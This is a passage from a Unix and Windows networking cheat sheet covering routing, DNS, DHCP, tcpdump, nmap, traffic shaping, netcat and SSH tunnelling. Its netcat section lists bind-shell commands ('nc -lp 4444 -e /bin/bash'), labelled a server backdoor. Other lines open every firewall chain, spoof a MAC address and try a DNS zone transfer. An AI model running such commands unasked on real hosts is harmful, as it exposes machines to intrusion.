/&gt;&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# route add -net 192.168.20.0 netmask 255.255.255.0 gw 192.168.16.254&lt;br /&gt;# ip route add 192.168.20.0/24 via 192.168.16.254       # same as above with ip route&lt;br /&gt;# route add -net 192.168.20.0 netmask 255.255.255.0 dev eth0&lt;br /&gt;# route add default gw 192.168.51.254&lt;br /&gt;# ip route add default via 192.168.51.254 dev eth0      # same as above with ip route&lt;br /&gt;# route delete -net 192.168.20.0 netmask 255.255.255.0&lt;br /&gt;&lt;br /&gt;Solaris&lt;br /&gt;&lt;br /&gt;# route add -net 192.168.20.0 -netmask 255.255.255.0 192.168.16.254&lt;br /&gt;# route add default 192.168.51.254 1                    # 1 = hops to the next gateway&lt;br /&gt;# route change default 192.168.50.254 1&lt;br /&gt;&lt;br /&gt;Permanent entries are set in entry in /etc/defaultrouter.&lt;br /&gt;Windows&lt;br /&gt;&lt;br /&gt;# Route add 192.168.50.0 mask 255.255.255.0 192.168.51.253&lt;br /&gt;# Route add 0.0.0.0 mask 0.0.0.0 192.168.51.254&lt;br /&gt;&lt;br /&gt;Use add -p to make the route persistent.&lt;br /&gt;Configure additional IP addresses&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# ifconfig eth0 192.168.50.254 netmask 255.255.255.0       # First IP&lt;br /&gt;# ifconfig eth0:0 192.168.51.254 netmask 255.255.255.0     # Second IP&lt;br /&gt;# ip addr add 192.168.50.254/24 dev eth0                   # Equivalent ip commands&lt;br /&gt;# ip addr add 192.168.51.254/24 dev eth0 label eth0:1&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;&lt;br /&gt;# ifconfig fxp0 inet 192.168.50.254/24                     # First IP&lt;br /&gt;# ifconfig fxp0 alias 192.168.51.254 netmask 255.255.255.0 # Second IP&lt;br /&gt;# ifconfig fxp0 -alias 192.168.51.254                      # Remove second IP alias&lt;br /&gt;&lt;br /&gt;Permanent entries in /etc/rc.conf&lt;br /&gt;&lt;br /&gt;ifconfig_fxp0=&quot;inet 192.168.50.254  netmask 255.255.255.0&quot;&lt;br /&gt;ifconfig_fxp0_alias0=&quot;192.168.51.254 netmask 255.255.255.0&quot;&lt;br /&gt;&lt;br /&gt;Solaris&lt;br /&gt;Check the settings with ifconfig -a&lt;br /&gt;&lt;br /&gt;# ifconfig hme0 plumb                                      # Enable the network card&lt;br /&gt;# ifconfig hme0 192.168.50.254 netmask 255.255.255.0 up    # First IP&lt;br /&gt;# ifconfig hme0:1 192.168.51.254 netmask 255.255.255.0 up  # Second IP&lt;br /&gt;&lt;br /&gt;Change MAC address&lt;br /&gt;Normally you have to bring the interface down before the change. Don&#39;t tell me why you want to change the MAC address...&lt;br /&gt;&lt;br /&gt;# ifconfig eth0 down&lt;br /&gt;# ifconfig eth0 hw ether 00:01:02:03:04:05      # Linux&lt;br /&gt;# ifconfig fxp0 link 00:01:02:03:04:05          # FreeBSD&lt;br /&gt;# ifconfig hme0 ether 00:01:02:03:04:05         # Solaris&lt;br /&gt;# sudo ifconfig en0 ether 00:01:02:03:04:05     # Mac OS X Tiger&lt;br /&gt;# sudo ifconfig en0 lladdr 00:01:02:03:04:05    # Mac OS X Leopard&lt;br /&gt;&lt;br /&gt;Many tools exist for Windows. For example etherchangehttp://ntsecurity.nu/toolbox/etherchange. Or look for &quot;Mac Makeup&quot;, &quot;smac&quot;.&lt;br /&gt;Ports in use&lt;br /&gt;Listening open ports:&lt;br /&gt;&lt;br /&gt;# netstat -an | grep LISTEN&lt;br /&gt;# lsof -i                  # Linux list all Internet connections&lt;br /&gt;# socklist                 # Linux display list of open sockets&lt;br /&gt;# sockstat -4              # FreeBSD application listing&lt;br /&gt;# netstat -anp --udp --tcp | grep LISTEN        # Linux&lt;br /&gt;# netstat -tup             # List active connections to/from system (Linux)&lt;br /&gt;# netstat -tupl            # List listening ports from system (Linux)&lt;br /&gt;# netstat -ano             # Windows&lt;br /&gt;&lt;br /&gt;Firewall&lt;br /&gt;Check if a firewall is running (typical configuration only):&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# iptables -L -n -v                  # For status&lt;br /&gt;Open the iptables firewall&lt;br /&gt;# iptables -P INPUT       ACCEPT     # Open everything&lt;br /&gt;# iptables -P FORWARD     ACCEPT&lt;br /&gt;# iptables -P OUTPUT      ACCEPT&lt;br /&gt;# iptables -Z                        # Zero the packet and byte counters in all chains&lt;br /&gt;# iptables -F                        # Flush all chains&lt;br /&gt;# iptables -X                        # Delete all chains&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;&lt;br /&gt;# ipfw show                          # For status&lt;br /&gt;# ipfw list 65535 # if answer is &quot;65535 deny ip from any to any&quot; the fw is disabled&lt;br /&gt;# sysctl net.inet.ip.fw.enable=0     # Disable&lt;br /&gt;# sysctl net.inet.ip.fw.enable=1     # Enable&lt;br /&gt;&lt;br /&gt;IP Forward for routing&lt;br /&gt;Linux&lt;br /&gt;Check and then enable IP forward with:&lt;br /&gt;&lt;br /&gt;# cat /proc/sys/net/ipv4/ip_forward  # Check IP forward 0=off, 1=on&lt;br /&gt;# echo 1 &gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;&lt;br /&gt;or edit /etc/sysctl.conf with:&lt;br /&gt;&lt;br /&gt;net.ipv4.ip_forward = 1&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;Check and enable with:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.forwarding      # Check IP forward 0=off, 1=on&lt;br /&gt;# sysctl net.inet.ip.forwarding=1&lt;br /&gt;# sysctl net.inet.ip.fastforwarding=1 # For dedicated router or firewall&lt;br /&gt;Permanent with entry in /etc/rc.conf:&lt;br /&gt;gateway_enable=&quot;YES&quot;                 # Set to YES if this host will be a gateway.&lt;br /&gt;&lt;br /&gt;Solaris&lt;br /&gt;&lt;br /&gt;# ndd -set /dev/ip ip_forwarding 1   # Set IP forward 0=off, 1=on&lt;br /&gt;&lt;br /&gt;NAT Network Address Translation&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # to activate NAT&lt;br /&gt;# iptables -t nat -A PREROUTING -p tcp -d 78.31.70.238 --dport 20022 -j DNAT \&lt;br /&gt;--to 192.168.16.44:22           # Port forward 20022 to internal IP port ssh&lt;br /&gt;# iptables -t nat -A PREROUTING -p tcp -d 78.31.70.238 --dport 993:995 -j DNAT \&lt;br /&gt;--to 192.168.16.254:993-995     # Port forward of range 993-995&lt;br /&gt;# ip route flush cache&lt;br /&gt;# iptables -L -t nat            # Check NAT status&lt;br /&gt;&lt;br /&gt;Delete the port forward with -D instead of -A.&lt;br /&gt;FreeBSD&lt;br /&gt;&lt;br /&gt;# natd -s -m -u -dynamic -f /etc/natd.conf -n fxp0&lt;br /&gt;Or edit /etc/rc.conf with:&lt;br /&gt;firewall_enable=&quot;YES&quot;           # Set to YES to enable firewall functionality&lt;br /&gt;firewall_type=&quot;open&quot;            # Firewall type (see /etc/rc.firewall)&lt;br /&gt;natd_enable=&quot;YES&quot;               # Enable natd (if firewall_enable == YES).&lt;br /&gt;natd_interface=&quot;tun0&quot;           # Public interface or IP address to use.&lt;br /&gt;natd_flags=&quot;-s -m -u -dynamic -f /etc/natd.conf&quot;&lt;br /&gt;&lt;br /&gt;Port forward with:&lt;br /&gt;&lt;br /&gt;# cat /etc/natd.conf &lt;br /&gt;same_ports yes&lt;br /&gt;use_sockets yes&lt;br /&gt;unregistered_only&lt;br /&gt;# redirect_port tcp insideIP:2300-2399 3300-3399  # port range&lt;br /&gt;redirect_port udp 192.168.51.103:7777 7777&lt;br /&gt;&lt;br /&gt;DNS&lt;br /&gt;On Unix the DNS entries are valid for all interfaces and are stored in /etc/resolv.conf. The domain to which the host belongs is also stored in this file. A minimal configuration is:&lt;br /&gt;&lt;br /&gt;nameserver 78.31.70.238&lt;br /&gt;search sleepyowl.net intern.lab&lt;br /&gt;domain sleepyowl.net&lt;br /&gt;&lt;br /&gt;Check the system domain name with:&lt;br /&gt;&lt;br /&gt;# hostname -d                        # Same as dnsdomainname&lt;br /&gt;&lt;br /&gt;Windows&lt;br /&gt;On Windows the DNS are configured per interface. To display the configured DNS and to flush the DNS cache use:&lt;br /&gt;&lt;br /&gt;# ipconfig /?                        # Display help&lt;br /&gt;# ipconfig /all                      # See all information including DNS&lt;br /&gt;&lt;br /&gt;Flush DNS&lt;br /&gt;Flush the OS DNS cache, some application using their own cache (e.g. Firefox) and will be unaffected.&lt;br /&gt;&lt;br /&gt;# /etc/init.d/nscd restart           # Restart nscd if used - Linux/BSD/Solaris&lt;br /&gt;# lookupd -flushcache                # OS X Tiger&lt;br /&gt;# dscacheutil -flushcache            # OS X Leopard and newer&lt;br /&gt;# ipconfig /flushdns                 # Windows&lt;br /&gt;&lt;br /&gt;Forward queries&lt;br /&gt;Dig is you friend to test the DNS settings. For example the public DNS server 213.133.105.2 ns.second-ns.de can be used for testing. See from which server the client receives the answer (simplified answer).&lt;br /&gt;&lt;br /&gt;# dig sleepyowl.net&lt;br /&gt;sleepyowl.net.          600     IN      A       78.31.70.238&lt;br /&gt;;; SERVER: 192.168.51.254#53(192.168.51.254)&lt;br /&gt;&lt;br /&gt;The router 192.168.51.254 answered and the response is the A entry. Any entry can be queried and the DNS server can be selected with @:&lt;br /&gt;&lt;br /&gt;# dig MX google.com&lt;br /&gt;# dig @127.0.0.1 NS sun.com          # To test the local server&lt;br /&gt;# dig @204.97.212.10 NS MX heise.de  # Query an external server&lt;br /&gt;# dig AXFR @ns1.xname.org cb.vu      # Get the full zone (zone transfer)&lt;br /&gt;&lt;br /&gt;The program host is also powerful.&lt;br /&gt;&lt;br /&gt;# host -t MX cb.vu                   # Get the mail MX entry&lt;br /&gt;# host -t NS -T sun.com              # Get the NS record over a TCP connection&lt;br /&gt;# host -a sleepyowl.net              # Get everything&lt;br /&gt;&lt;br /&gt;Reverse queries&lt;br /&gt;Find the name belonging to an IP address (in-addr.arpa.). This can be done with dig, host and nslookup:&lt;br /&gt;&lt;br /&gt;# dig -x 78.31.70.238&lt;br /&gt;# host 78.31.70.238&lt;br /&gt;# nslookup 78.31.70.238&lt;br /&gt;&lt;br /&gt;/etc/hosts&lt;br /&gt;Single hosts can be configured in the file /etc/hosts instead of running named locally to resolve the hostname queries. The format is simple, for example:&lt;br /&gt;&lt;br /&gt;78.31.70.238   sleepyowl.net   sleepyowl&lt;br /&gt;&lt;br /&gt;The priority between hosts and a dns query, that is the name resolution order, can be configured in /etc/nsswitch.conf AND /etc/host.conf. The file also exists on Windows, it is usually in:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\SYSTEM32\DRIVERS\ETC&lt;br /&gt;&lt;br /&gt;DHCP&lt;br /&gt;Linux&lt;br /&gt;Some distributions (SuSE) use dhcpcd as client. The default interface is eth0.&lt;br /&gt;&lt;br /&gt;# dhcpcd -n eth0           # Trigger a renew (does not always work)&lt;br /&gt;# dhcpcd -k eth0           # release and shutdown&lt;br /&gt;&lt;br /&gt;The lease with the full information is stored in:&lt;br /&gt;&lt;br /&gt;/var/lib/dhcpcd/dhcpcd-eth0.info&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;FreeBSD (and Debian) uses dhclient. To configure an interface (for example bge0) run:&lt;br /&gt;&lt;br /&gt;# dhclient bge0&lt;br /&gt;&lt;br /&gt;The lease with the full information is stored in:&lt;br /&gt;&lt;br /&gt;/var/db/dhclient.leases.bge0&lt;br /&gt;&lt;br /&gt;Use&lt;br /&gt;&lt;br /&gt;/etc/dhclient.conf&lt;br /&gt;&lt;br /&gt;to prepend options or force different options:&lt;br /&gt;&lt;br /&gt;# cat /etc/dhclient.conf&lt;br /&gt;interface &quot;rl0&quot; {&lt;br /&gt;    prepend domain-name-servers 127.0.0.1;&lt;br /&gt;    default domain-name &quot;sleepyowl.net&quot;;&lt;br /&gt;    supersede domain-name &quot;sleepyowl.net&quot;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Windows&lt;br /&gt;The dhcp lease can be renewed with ipconfig:&lt;br /&gt;&lt;br /&gt;# ipconfig /renew          # renew all adapters&lt;br /&gt;# ipconfig /renew LAN      # renew the adapter named &quot;LAN&quot;&lt;br /&gt;# ipconfig /release WLAN   # release the adapter named &quot;WLAN&quot;&lt;br /&gt;&lt;br /&gt;Yes it is a good idea to rename you adapter with simple names!&lt;br /&gt;Traffic analysis&lt;br /&gt;Bmonhttp://people.suug.ch/~tgr/bmon/ is a small console bandwidth monitor and can display the flow on different interfaces.&lt;br /&gt;Sniff with tcpdump&lt;br /&gt;&lt;br /&gt;# tcpdump -nl -i bge0 not port ssh and src \(192.168.16.121 or 192.168.16.54\)&lt;br /&gt;# tcpdump -n -i eth1 net 192.168.16.121           # select to/from a single IP&lt;br /&gt;# tcpdump -n -i eth1 net 192.168.16.0/24          # select traffic to/from a network&lt;br /&gt;# tcpdump -l &gt; dump &amp;&amp; tail -f dump               # Buffered output&lt;br /&gt;# tcpdump -i rl0 -w traffic.rl0                   # Write traffic headers in binary file&lt;br /&gt;# tcpdump -i rl0 -s 0 -w traffic.rl0              # Write traffic + payload in binary file&lt;br /&gt;# tcpdump -r traffic.rl0                          # Read from file (also for ethereal&lt;br /&gt;# tcpdump port 80                                 # The two classic commands&lt;br /&gt;# tcpdump host google.com&lt;br /&gt;# tcpdump -i eth0 -X port \(110 or 143\)          # Check if pop or imap is secure&lt;br /&gt;# tcpdump -n -i eth0 icmp                         # Only catch pings&lt;br /&gt;# tcpdump -i eth0 -s 0 -A port 80 | grep GET      # -s 0 for full packet -A for ASCII&lt;br /&gt;&lt;br /&gt;Additional important options:&lt;br /&gt;&lt;br /&gt;    * -A     Print each packets in clear text (without header)&lt;br /&gt;    * -X     Print packets in hex and ASCII&lt;br /&gt;    * -l     Make stdout line buffered&lt;br /&gt;    * -D     Print all interfaces available&lt;br /&gt;&lt;br /&gt;On Windows use windump from www.winpcap.org. Use windump -D to list the interfaces.&lt;br /&gt;Scan with nmap&lt;br /&gt;Nmaphttp://insecure.org/nmap/ is a port scanner with OS detection, it is usually installed on most distributions and is also available for Windows. If you don&#39;t scan your servers, hackers do it for you...&lt;br /&gt;&lt;br /&gt;# nmap cb.vu               # scans all reserved TCP ports on the host&lt;br /&gt;# nmap -sP 192.168.16.0/24 # Find out which IP are used and by which host on 0/24&lt;br /&gt;# nmap -sS -sV -O cb.vu    # Do a stealth SYN scan with version and OS detection&lt;br /&gt;PORT      STATE  SERVICE             VERSION&lt;br /&gt;22/tcp    open   ssh                 OpenSSH 3.8.1p1 FreeBSD-20060930 (protocol 2.0)&lt;br /&gt;25/tcp    open   smtp                Sendmail smtpd 8.13.6/8.13.6&lt;br /&gt;80/tcp    open   http                Apache httpd 2.0.59 ((FreeBSD) DAV/2 PHP/4.&lt;br /&gt;[...]&lt;br /&gt;Running: FreeBSD 5.X&lt;br /&gt;Uptime 33.120 days (since Fri Aug 31 11:41:04 2007)&lt;br /&gt;&lt;br /&gt;Other non standard but useful tools are hping (www.hping.org) an IP packet assembler/analyzer and fping (fping.sourceforge.net). fping can check multiple hosts in a round-robin fashion.&lt;br /&gt;Traffic control (QoS)&lt;br /&gt;Traffic control manages the queuing, policing, scheduling, and other traffic parameters for a network. The following examples are simple practical uses of the Linux and FreeBSD capabilities to better use the available bandwidth.&lt;br /&gt;Limit upload&lt;br /&gt;DSL or cable modems have a long queue to improve the upload throughput. However filling the queue with a fast device (e.g. ethernet) will dramatically decrease the interactivity. It is therefore useful to limit the device upload rate to match the physical capacity of the modem, this should greatly improve the interactivity. Set to about 90% of the modem maximal (cable) speed.&lt;br /&gt;Linux&lt;br /&gt;For a 512 Kbit upload modem.&lt;br /&gt;&lt;br /&gt;# tc qdisc add dev eth0 root tbf rate 480kbit latency 50ms burst 1540&lt;br /&gt;# tc -s qdisc ls dev eth0                         # Status&lt;br /&gt;# tc qdisc del dev eth0 root                      # Delete the queue&lt;br /&gt;# tc qdisc change dev eth0 root tbf rate 220kbit latency 50ms burst 1540&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;FreeBSD uses the dummynet traffic shaper which is configured with ipfw. Pipes are used to set limits the bandwidth in units of [K|M]{bit/s|Byte/s}, 0 means unlimited bandwidth. Using the same pipe number will reconfigure it. For example limit the upload bandwidth to 500 Kbit.&lt;br /&gt;&lt;br /&gt;# kldload dummynet                                # load the module if necessary&lt;br /&gt;# ipfw pipe 1 config bw 500Kbit/s                 # create a pipe with limited bandwidth&lt;br /&gt;# ipfw add pipe 1 ip from me to any               # divert the full upload into the pipe&lt;br /&gt;&lt;br /&gt;Quality of service&lt;br /&gt;Linux&lt;br /&gt;Priority queuing with tc to optimize VoIP. See the full example on voip-info.org or www.howtoforge.com. Suppose VoIP uses udp on ports 10000:11024 and device eth0 (could also be ppp0 or so). The following commands define the QoS to three queues and force the VoIP traffic to queue 1 with QoS 0x1e (all bits set). The default traffic flows into queue 3 and QoS Minimize-Delay flows into queue 2.&lt;br /&gt;&lt;br /&gt;# tc qdisc add dev eth0 root handle 1: prio priomap 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 0&lt;br /&gt;# tc qdisc add dev eth0 parent 1:1 handle 10: sfq&lt;br /&gt;# tc qdisc add dev eth0 parent 1:2 handle 20: sfq&lt;br /&gt;# tc qdisc add dev eth0 parent 1:3 handle 30: sfq&lt;br /&gt;# tc filter add dev eth0 protocol ip parent 1: prio 1 u32 \&lt;br /&gt;  match ip dport 10000 0x3C00 flowid 1:1          # use server port range&lt;br /&gt;  match ip dst 123.23.0.1 flowid 1:1              # or/and use server IP&lt;br /&gt;&lt;br /&gt;Status and remove with&lt;br /&gt;&lt;br /&gt;# tc -s qdisc ls dev eth0                         # queue status&lt;br /&gt;# tc qdisc del dev eth0 root                      # delete all QoS&lt;br /&gt;&lt;br /&gt;Calculate port range and mask&lt;br /&gt;The tc filter defines the port range with port and mask which you have to calculate. Find the 2^N ending of the port range, deduce the range and convert to HEX. This is your mask. Example for 10000 -&gt; 11024, the range is 1024.&lt;br /&gt;&lt;br /&gt;# 2^13 (8192) &lt; 10000 &lt; 2^14 (16384)              # ending is 2^14 = 16384&lt;br /&gt;# echo &quot;obase=16;(2^14)-1024&quot; | bc                # mask is 0x3C00&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;The max link bandwidth is 500Kbit/s and we define 3 queues with priority 100:10:1 for VoIP:ssh:all the rest.&lt;br /&gt;&lt;br /&gt;# ipfw pipe 1 config bw 500Kbit/s &lt;br /&gt;# ipfw queue 1 config pipe 1 weight 100&lt;br /&gt;# ipfw queue 2 config pipe 1 weight 10&lt;br /&gt;# ipfw queue 3 config pipe 1 weight 1&lt;br /&gt;# ipfw add 10 queue 1 proto udp dst-port 10000-11024&lt;br /&gt;# ipfw add 11 queue 1 proto udp dst-ip 123.23.0.1 # or/and use server IP&lt;br /&gt;# ipfw add 20 queue 2 dsp-port ssh&lt;br /&gt;# ipfw add 30 queue 3 from me to any              # all the rest&lt;br /&gt;&lt;br /&gt;Status and remove with&lt;br /&gt;&lt;br /&gt;# ipfw list                                       # rules status&lt;br /&gt;# ipfw pipe list                                  # pipe status&lt;br /&gt;# ipfw flush                                      # deletes all rules but default&lt;br /&gt;&lt;br /&gt;NIS Debugging&lt;br /&gt;Some commands which should work on a well configured NIS client:&lt;br /&gt;&lt;br /&gt;# ypwhich                  # get the connected NIS server name&lt;br /&gt;# domainname               # The NIS domain name as configured&lt;br /&gt;# ypcat group              # should display the group from the NIS server&lt;br /&gt;# cd /var/yp &amp;&amp; make       # Rebuild the yp database&lt;br /&gt;# rpcinfo -p servername    # Report RPC services of the server&lt;br /&gt;&lt;br /&gt;Is ypbind running?&lt;br /&gt;&lt;br /&gt;# ps auxww | grep ypbind&lt;br /&gt;/usr/sbin/ypbind -s -m -S servername1,servername2 # FreeBSD&lt;br /&gt;/usr/sbin/ypbind           # Linux&lt;br /&gt;# yppoll passwd.byname&lt;br /&gt;Map passwd.byname has order number 1190635041. Mon Sep 24 13:57:21 2007&lt;br /&gt;The master server is servername.domain.net.&lt;br /&gt;&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# cat /etc/yp.conf&lt;br /&gt;ypserver servername&lt;br /&gt;domain domain.net broadcast&lt;br /&gt;&lt;br /&gt;Netcat&lt;br /&gt;Netcathttp://netcat.sourceforge.net (nc) is better known as the &quot;network Swiss Army Knife&quot;, it can manipulate, create or read/write TCP/IP connections. Here some useful examples, there are many more on the net, for example g-loaded.eu[...]http://www.g-loaded.eu/2006/11/06/netcat-a-couple-of-useful-examples and herehttp://www.terminally-incoherent.com/blog/2007/08/07/few-useful-netcat-tricks.&lt;br /&gt;You might need to use the command netcat instead of nc. Also see the similar command socat.&lt;br /&gt;File transfer&lt;br /&gt;Copy a large folder over a raw tcp connection. The transfer is very quick (no protocol overhead) and you don&#39;t need to mess up with NFS or SMB or FTP or so, simply make the file available on the server, and get it from the client. Here 192.168.1.1 is the server IP address.&lt;br /&gt;&lt;br /&gt;server# tar -cf - -C VIDEO_TS . | nc -l -p 4444         # Serve tar folder on port 4444&lt;br /&gt;client# nc 192.168.1.1 4444 | tar xpf - -C VIDEO_TS     # Pull the file on port 4444&lt;br /&gt;server# cat largefile | nc -l 5678                      # Server a single file&lt;br /&gt;client# nc 192.168.1.1 5678 &gt; largefile                 # Pull the single file&lt;br /&gt;server# dd if=/dev/da0 | nc -l 4444                     # Server partition image&lt;br /&gt;client# nc 192.168.1.1 4444 | dd of=/dev/da0            # Pull partition to clone&lt;br /&gt;client# nc 192.168.1.1 4444 | dd of=da0.img             # Pull partition to file&lt;br /&gt;&lt;br /&gt;Other hacks&lt;br /&gt;Specially here, you must know what you are doing.&lt;br /&gt;Remote shell&lt;br /&gt;Option -e only on the Windows version? Or use nc 1.10.&lt;br /&gt;&lt;br /&gt;# nc -lp 4444 -e /bin/bash                        # Provide a remote shell (server backdoor)&lt;br /&gt;# nc -lp 4444 -e cmd.exe                          # remote shell for Windows&lt;br /&gt;&lt;br /&gt;Emergency web server&lt;br /&gt;Serve a single file on port 80 in a loop.&lt;br /&gt;&lt;br /&gt;# while true; do nc -l -p 80 &lt; unixtoolbox.xhtml; done&lt;br /&gt;&lt;br /&gt;Chat&lt;br /&gt;Alice and Bob can chat over a simple TCP socket. The text is transferred with the enter key.&lt;br /&gt;&lt;br /&gt;alice# nc -lp 4444&lt;br /&gt;bob  # nc 192.168.1.1 4444&lt;br /&gt;&lt;br /&gt;SSH SCP&lt;br /&gt;&lt;br /&gt;Public key | Fingerprint | SCP | Tunneling&lt;br /&gt;Public key authentication&lt;br /&gt;Connect to a host without password using public key authentication. The idea is to append your public key to the authorized_keys2 file on the remote host. For this example let&#39;s connect host-client to host-server, the key is generated on the client. With cygwin you might have to create your home directoy and the .ssh directory with # mkdir -p /home/USER/.ssh&lt;br /&gt;&lt;br /&gt;    * Use ssh-keygen to generate a key pair. ~/.ssh/id_dsa is the private key, ~/.ssh/id_dsa.pub is the public key.&lt;br /&gt;    * Copy only the public key to the server and append it to the file ~/.ssh/authorized_keys2 on your home on the server.&lt;br /&gt;&lt;br /&gt;# ssh-keygen -t dsa -N &#39;&#39;&lt;br /&gt;# cat ~/.ssh/id_dsa.pub | ssh you@host-server &quot;cat - &gt;&gt; ~/.ssh/authorized_keys2&quot;&lt;br /&gt;&lt;br /&gt;Using the Windows client from ssh.com&lt;br /&gt;The non commercial version of the ssh.com client can be downloaded the main ftp site: ftp.ssh.com/pub/ssh/. Keys generated by the ssh.com client need to be converted for the OpenSSH server. This can be done with the ssh-keygen command.&lt;br /&gt;&lt;br /&gt;    * Create a key pair with the ssh.com client: Settings - User Authentication - Generate New....&lt;br /&gt;    * I use Key type DSA; key length 2048.&lt;br /&gt;    * Copy the public key generated by the ssh.com client to the server into the ~/.ssh folder.&lt;br /&gt;    * The keys are in C:\Documents and Settings\%USERNAME%\Application Data\SSH\UserKeys.&lt;br /&gt;    * Use the ssh-keygen command on the server to convert the key:&lt;br /&gt;&lt;br /&gt;      # cd ~/.ssh&lt;br /&gt;      # ssh-keygen -i -f keyfilename.pub &gt;&gt; authorized_keys2&lt;br /&gt;&lt;br /&gt;Notice: We used a DSA key, RSA is also possible. The key is not protected by a password.&lt;br /&gt;Using putty for Windows&lt;br /&gt;Puttyhttp://www.chiark.greenend.org.uk/~sgtatham/putty/download.html is a simple and free ssh client for Windows.&lt;br /&gt;&lt;br /&gt;    * Create a key pair with the puTTYgen program.&lt;br /&gt;    * Save the public and private keys (for example into C:\Documents and Settings\%USERNAME%\.ssh).&lt;br /&gt;    * Copy the public key to the server into the ~/.ssh folder:&lt;br /&gt;&lt;br /&gt;      # scp .ssh/puttykey.pub root@192.168.51.254:.ssh/&lt;br /&gt;&lt;br /&gt;    * Use the ssh-keygen command on the server to convert the key for OpenSSH:&lt;br /&gt;&lt;br /&gt;      # cd ~/.ssh&lt;br /&gt;      # ssh-keygen -i -f puttykey.pub &gt;&gt; authorized_keys2&lt;br /&gt;&lt;br /&gt;    * Point the private key location in the putty settings: Connection - SSH - Auth&lt;br /&gt;&lt;br /&gt;Check fingerprint&lt;br /&gt;At the first login, ssh will ask if the unknown host with the fingerprint has to be stored in the known hosts. To avoid a man-in-the-middle attack the administrator of the server can send you the server fingerprint which is then compared on the first login. Use ssh-keygen -l to get the fingerprint (on the server):&lt;br /&gt;&lt;br /&gt;# ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub      # For RSA key&lt;br /&gt;2048 61:33:be:9b:ae:6c:36:31:fd:83:98:b7:99:2d:9f:cd /etc/ssh/ssh_host_rsa_key.pub&lt;br /&gt;# ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub      # For DSA key (default)&lt;br /&gt;2048 14:4a:aa:d9:73:25:46:6d:0a:48:35:c7:f4:16:d4:ee /etc/ssh/ssh_host_dsa_key.pub&lt;br /&gt;&lt;br /&gt;Now the client connecting to this server can verify that he is connecting to the right server:&lt;br /&gt;&lt;br /&gt;# ssh linda&lt;br /&gt;The authenticity of host &#39;linda (192.168.16.54)&#39; can&#39;t be established.&lt;br /&gt;DSA key fingerprint is 14:4a:aa:d9:73:25:46:6d:0a:48:35:c7:f4:16:d4:ee.&lt;br /&gt;Are you sure you want to continue connecting (yes/no)? yes&lt;br /&gt;&lt;br /&gt;Secure file transfer&lt;br /&gt;Some simple commands:&lt;br /&gt;&lt;br /&gt;# scp file.txt host-two:/tmp&lt;br /&gt;# scp joe@host-two:/www/*.html /www/tmp&lt;br /&gt;# scp -r joe@host-two:/www /www/tmp&lt;br /&gt;&lt;br /&gt;In Konqueror or Midnight Commander it is possible to access a remote file system with the address fish://user@gate. However the implementation is very slow.&lt;br /&gt;Furthermore it is possible to mount a remote folder with sshfs a file system client based on SCP. See fuse sshfshttp://fuse.sourceforge.net/sshfs.html.&lt;br /&gt;Tunneling&lt;br /&gt;SSH tunneling allows to forward or reverse forward a port over the SSH connection, thus securing the traffic and accessing ports which would otherwise be blocked. This only works with TCP. The general nomenclature for forward and reverse is (see also ssh and NAT example):&lt;br /&gt;&lt;br /&gt;# ssh -L localport:desthost:destport user@gate  # desthost as seen from the gate&lt;br /&gt;# ssh -R destport:desthost:localport user@gate  # forwards your localport to destination&lt;br /&gt;    # desthost:localport as seen from the client initiating the tunnel&lt;br /&gt;# ssh -X user@gate   # To force X forwarding&lt;br /&gt;&lt;br /&gt;This will connect to gate and forward the local port to the host desthost:destport. Note desthost is the destination host as seen by the gate, so if the connection is to the gate, then desthost is localhost. More than one port forward is possible.&lt;br /&gt;Direct forward on the gate&lt;br /&gt;Let say we want to access the CVS (port 2401) and http (port 80) which are running on the gate. This is the simplest example, desthost is thus localhost, and we use the port 8080 locally instead of 80 so we don&#39;t need to be root. Once the ssh session is open, both services are accessible on the local ports.&lt;br /&gt;&lt;br /&gt;# ssh -L 2401:localhost:2401 -L 8080:localhost:80 user@gate&lt;br /&gt;&lt;br /&gt;Netbios and remote desktop forward to a second server&lt;br /&gt;Let say a Windows smb server is behind the gate and is not running ssh. We need access to the smb share and also remote desktop to the server.&lt;br /&gt;&lt;br /&gt;# ssh -L 139:smbserver:139 -L 3388:smbserver:3389 user@gate&lt;br /&gt;&lt;br /&gt;The smb share can now be accessed with \\127.0.0.1\, but only if the local share is disabled, because the local share is listening on port 139.&lt;br /&gt;It is possible to keep the local share enabled, for this we need to create a new virtual device with a new IP address for the tunnel, the smb share will be connected over this address. Furthermore the local RDP is already listening on 3389, so we choose 3388. For this example let&#39;s use a virtual IP of 10.1.1.1.&lt;br /&gt;&lt;br /&gt;    * With putty use Source port=10.1.1.1:139. It is possible to create multiple loop devices and tunnel. On Windows 2000, only putty worked for me. On Windows Vista also forward the port 445 in addition to the port 139. Also on Vista the patch KB942624 prevents the port 445 to be forwarded, so I had to uninstall this path in Vista.&lt;br /&gt;    * With the ssh.com client, disable &quot;Allow local connections only&quot;. Since ssh.com will bind to all addresses, only a single share can be connected.&lt;br /&gt;&lt;br /&gt;Now create the loopback interface with IP 10.1.1.1:&lt;br /&gt;&lt;br /&gt;    * # System-&gt;Control Panel-&gt;Add Hardware # Yes, Hardware is already connected # Add a new hardware device (at bottom).&lt;br /&gt;    * # Install the hardware that I manually select # Network adapters # Microsoft , Microsoft Loopback Adapter.&lt;br /&gt;    * Configure the IP address of the fake device to 10.1.1.1 mask 255.255.255.0, no gateway.&lt;br /&gt;    * advanced-&gt;WINS, Enable LMHosts Lookup; Disable NetBIOS over TCP/IP.&lt;br /&gt;    * # Enable Client for Microsoft Networks. # Disable File and Printer Sharing for Microsoft Networks.&lt;br 